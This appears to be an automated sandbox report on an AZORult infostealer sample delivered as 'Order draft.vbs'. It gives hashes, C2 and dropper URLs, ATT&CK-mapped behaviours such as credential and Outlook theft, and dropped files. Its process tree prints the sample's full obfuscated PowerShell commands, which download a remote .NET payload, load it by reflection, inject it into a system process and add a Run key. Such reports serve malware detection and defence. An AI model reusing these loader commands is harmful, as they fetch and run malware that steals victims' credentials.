azorult | e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1

General

Target

Order draft.vbs
Size

504KB
MD5

581a2142bc26026893bbdfab4e65f694
SHA1

e5b3a5977750cd34a69e908bf22893f153b9301f
SHA256

e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1
SHA512

5f74d6b90e9791f7c403690126fdd4f0bfcfde9dcd099d1ef0adb72d8f94b89ed1e9f708eaf2e853da1a681cbf3695e0421191f52902870dfbcedad5b9ff8808
SSDEEP

12288:u9M/PycpcyDgDy8f1xLWFIZni8itFw9UPpVaElOOywO5lowt4sG50v8eKjDo6c5l:S0ifJtH

Score

10^/10

azorult collection credential_access discovery execution infostealer persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

azorult

C2

http://mg5n.shop/ML341/index.php

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1836 powershell.exe
23 1836 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1968 powershell.exe
1836 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation WScript.exe
Loads dropped DLL 4 IoCs

Processes:

AddInProcess32.exe

pid process

1712 AddInProcess32.exe
1712 AddInProcess32.exe
1712 AddInProcess32.exe
1712 AddInProcess32.exe
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

flow	pid	process
8	1836	powershell.exe
23	1836	powershell.exe

pid	process
1968	powershell.exe
1836	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
1712	AddInProcess32.exe
1712	AddInProcess32.exe
1712	AddInProcess32.exe
1712	AddInProcess32.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	AddInProcess32.exe
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AddInProcess32.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\araneografia.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1836 set thread context of 1712 1836 powershell.exe AddInProcess32.exe
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

AddInProcess32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe

description	pid	process	target process
PID 1836 set thread context of 1712	1836	powershell.exe	AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AddInProcess32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exeAddInProcess32.exe

pid process

1968 powershell.exe
1968 powershell.exe
1836 powershell.exe
1836 powershell.exe
1712 AddInProcess32.exe
1712 AddInProcess32.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1968 powershell.exe
Token: SeDebugPrivilege 1836 powershell.exe

pid	process
1968	powershell.exe
1968	powershell.exe
1836	powershell.exe
1836	powershell.exe
1712	AddInProcess32.exe
1712	AddInProcess32.exe

description	pid	process
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1116 wrote to memory of 1968	1116	WScript.exe	powershell.exe
PID 1116 wrote to memory of 1968	1116	WScript.exe	powershell.exe
PID 1968 wrote to memory of 1836	1968	powershell.exe	powershell.exe
PID 1968 wrote to memory of 1836	1968	powershell.exe	powershell.exe
PID 1836 wrote to memory of 2296	1836	powershell.exe	cmd.exe
PID 1836 wrote to memory of 2296	1836	powershell.exe	cmd.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe
PID 1836 wrote to memory of 1712	1836	powershell.exe	AddInProcess32.exe

outlook_office_path 1 IoCs

Processes:

AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	AddInProcess32.exe

outlook_win_path 1 IoCs

Processes:

AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Order draft.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9JysndXJsID0nKycgeycrJzJ9aHQnKyd0JysncHM6JysnLycrJy8nKydpYTYwJysnMDEnKycwMC4nKyd1cy5hJysncicrJ2NoaXZlLicrJ29yZy8yNC8nKydpdGVtcy8nKydkZXRhaC1ub3RlLXYvRGV0YWhOb3QnKydlVi4nKyd0eHR7Mn0nKyc7eycrJzB9YmEnKydzZTY0QycrJ29udCcrJ2VuJysndCcrJyA9JysnIChOZScrJ3ctJysnTycrJ2InKydqZWN0JysnIFN5cycrJ3RlbS4nKydOZXQuV2ViQ2wnKydpJysnZW4nKyd0JysnKS4nKydEb3dubG8nKydhZFN0cicrJ2luZygnKyd7MH11JysncicrJ2wpJysnO3swfWJpJysnbmFyeUNvbnQnKydlJysnbnQgJysnPSAnKydbU3knKydzdCcrJ2UnKydtJysnLicrJ0NvbnZlcnQnKyddOicrJzpGcicrJ29tQmEnKydzZScrJzYnKyc0JysnU3QnKydyaW4nKydnKHswfScrJ2Jhc2U2JysnNENvJysnbnQnKydlbnQpJysnOycrJ3swfScrJ2EnKydzJysnc2VtJysnYmx5ID0gW1InKydlJysnZicrJ2xlYycrJ3RpJysnbycrJ24uJysnQScrJ3NzZW1ibHldOjpMb2FkKHswJysnfWJpbmFyeUNvbnRlbnQnKycpOycrJ3swJysnfXQnKyd5JysncGUgJysnPSB7MH1hcycrJ3NlJysnbWJseS5HJysnZScrJ3QnKydUeXBlKHsyJysnfVJ1blBFLicrJ0hvJysnbWV7Mn0nKycpJysnOycrJ3swfW1ldGhvJysnZCAnKyc9ICcrJ3swfXQnKyd5cGUuR2V0TScrJ2V0aCcrJ29kKHsyfVZBJysnSXsyfScrJyknKyc7eycrJzB9bWV0JysnaCcrJ29kLkludm9rZScrJyh7JysnMH1udWwnKydsLCAnKydbb2JqZWN0W10nKyddQCh7Mn0nKyc3NWViMjA5YzU0ZDYtY2E3JysnOCcrJy1hM2I0LTMnKyc1ZDctMDE3ZGJjJysnNWMnKyc9bmUnKydrJysnb3QmYScrJ2lkZScrJ209JysndCcrJ2wnKydhJysnP3QnKyd4dCcrJy5lJysnc2FiJysnL28nKycvbScrJ29jJysnLicrJ3RvcHNwJysncGEnKycuMycrJzJlMycrJzUnKycteXRpYy0nKydyZScrJ2J5Yy8nKydiJysnLycrJzB2L21vYy5zaXBhZWwnKydnb29nJysnLmVnJysnYScrJ3InKydvdHMnKydlJysnc2FiJysnZXJpJysnZicrJy8nKycvJysnOnMnKydwdHRoJysnezJ9ICwgJysnezJ9MXsyfScrJyAsJysnIHsyfUMnKyc6ezF9UCcrJ3InKydvZ3JhJysnbScrJ0QnKydhdCcrJ2F7MX17JysnMn0gLCcrJyB7JysnMicrJ31hcmFuZW9ncicrJ2FmaWF7JysnMn0sezJ9QWRkJysnSW5Qcm9jZScrJ3NzMzJ7Mn0nKycsezJ9eycrJzInKyd9KSknKSAgLUYgW0NIYXJdMzYsW0NIYXJdOTIsW0NIYXJdMzkpfCAmKCAkRW5WOmNvbXNQZWNbNCwyNCwyNV0tak9JbicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}'+'url ='+' {'+'2}ht'+'t'+'ps:'+'/'+'/'+'ia60'+'01'+'00.'+'us.a'+'r'+'chive.'+'org/24/'+'items/'+'detah-note-v/DetahNot'+'eV.'+'txt{2}'+';{'+'0}ba'+'se64C'+'ont'+'en'+'t'+' ='+' (Ne'+'w-'+'O'+'b'+'ject'+' Sys'+'tem.'+'Net.WebCl'+'i'+'en'+'t'+').'+'Downlo'+'adStr'+'ing('+'{0}u'+'r'+'l)'+';{0}bi'+'naryCont'+'e'+'nt '+'= '+'[Sy'+'st'+'e'+'m'+'.'+'Convert'+']:'+':Fr'+'omBa'+'se'+'6'+'4'+'St'+'rin'+'g({0}'+'base6'+'4Co'+'nt'+'ent)'+';'+'{0}'+'a'+'s'+'sem'+'bly = [R'+'e'+'f'+'lec'+'ti'+'o'+'n.'+'A'+'ssembly]::Load({0'+'}binaryContent'+');'+'{0'+'}t'+'y'+'pe '+'= {0}as'+'se'+'mbly.G'+'e'+'t'+'Type({2'+'}RunPE.'+'Ho'+'me{2}'+')'+';'+'{0}metho'+'d '+'= '+'{0}t'+'ype.GetM'+'eth'+'od({2}VA'+'I{2}'+')'+';{'+'0}met'+'h'+'od.Invoke'+'({'+'0}nul'+'l, '+'[object[]'+']@({2}'+'75eb209c54d6-ca7'+'8'+'-a3b4-3'+'5d7-017dbc'+'5c'+'=ne'+'k'+'ot&a'+'ide'+'m='+'t'+'l'+'a'+'?t'+'xt'+'.e'+'sab'+'/o'+'/m'+'oc'+'.'+'topsp'+'pa'+'.3'+'2e3'+'5'+'-ytic-'+'re'+'byc/'+'b'+'/'+'0v/moc.sipael'+'goog'+'.eg'+'a'+'r'+'ots'+'e'+'sab'+'eri'+'f'+'/'+'/'+':s'+'ptth'+'{2} , '+'{2}1{2}'+' ,'+' {2}C'+':{1}P'+'r'+'ogra'+'m'+'D'+'at'+'a{1}{'+'2} ,'+' {'+'2'+'}araneogr'+'afia{'+'2},{2}Add'+'InProce'+'ss32{2}'+',{2}{'+'2'+'}))') -F [CHar]36,[CHar]92,[CHar]39)| &( $EnV:comsPec[4,24,25]-jOIn'')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\araneografia.vbs"
      4⤵
      PID:2296
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      Loads dropped DLL
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      outlook_office_path
      outlook_win_path
      PID:1712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

3

T1552

Credentials In Files

3

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\061CA707\mozglue.dll

Filesize
135KB

MD5
9e682f1eb98a9d41468fc3e50f907635

SHA1
85e0ceca36f657ddf6547aa0744f0855a27527ee

SHA256
830533bb569594ec2f7c07896b90225006b90a9af108f49d6fb6bebd02428b2d

SHA512
230230722d61ac1089fabf3f2decfa04f9296498f8e2a2a49b1527797dca67b5a11ab8656f04087acadf873fa8976400d57c77c404eba4aff89d92b9986f32ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\061CA707\msvcp140.dll

Filesize
429KB

MD5
109f0f02fd37c84bfc7508d4227d7ed5

SHA1
ef7420141bb15ac334d3964082361a460bfdb975

SHA256
334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4

SHA512
46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39

Download Submit
C:\Users\Admin\AppData\Local\Temp\061CA707\nss3.dll

Filesize
1.2MB

MD5
556ea09421a0f74d31c4c0a89a70dc23

SHA1
f739ba9b548ee64b13eb434a3130406d23f836e3

SHA256
f0e6210d4a0d48c7908d8d1c270449c91eb4523e312a61256833bfeaf699abfb

SHA512
2481fc80dffa8922569552c3c3ebaef8d0341b80427447a14b291ec39ea62ab9c05a75e85eef5ea7f857488cab1463c18586f9b076e2958c5a314e459045ede2

Download Submit
C:\Users\Admin\AppData\Local\Temp\061CA707\vcruntime140.dll

Filesize
81KB

MD5
7587bf9cb4147022cd5681b015183046

SHA1
f2106306a8f6f0da5afb7fc765cfa0757ad5a628

SHA256
c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d

SHA512
0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_px5cy2gq.k4x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1712-30-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1712-24-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1836-22-0x0000020F45470000-0x0000020F4567C000-memory.dmp

Filesize
2.0MB

Download
memory/1968-0-0x00007FFA2FD73000-0x00007FFA2FD75000-memory.dmp

Filesize
8KB

Download
memory/1968-31-0x00007FFA2FD70000-0x00007FFA30831000-memory.dmp

Filesize
10.8MB

Download
memory/1968-12-0x00007FFA2FD70000-0x00007FFA30831000-memory.dmp

Filesize
10.8MB

Download
memory/1968-11-0x00007FFA2FD70000-0x00007FFA30831000-memory.dmp

Filesize
10.8MB

Download
memory/1968-6-0x000001C10A300000-0x000001C10A322000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads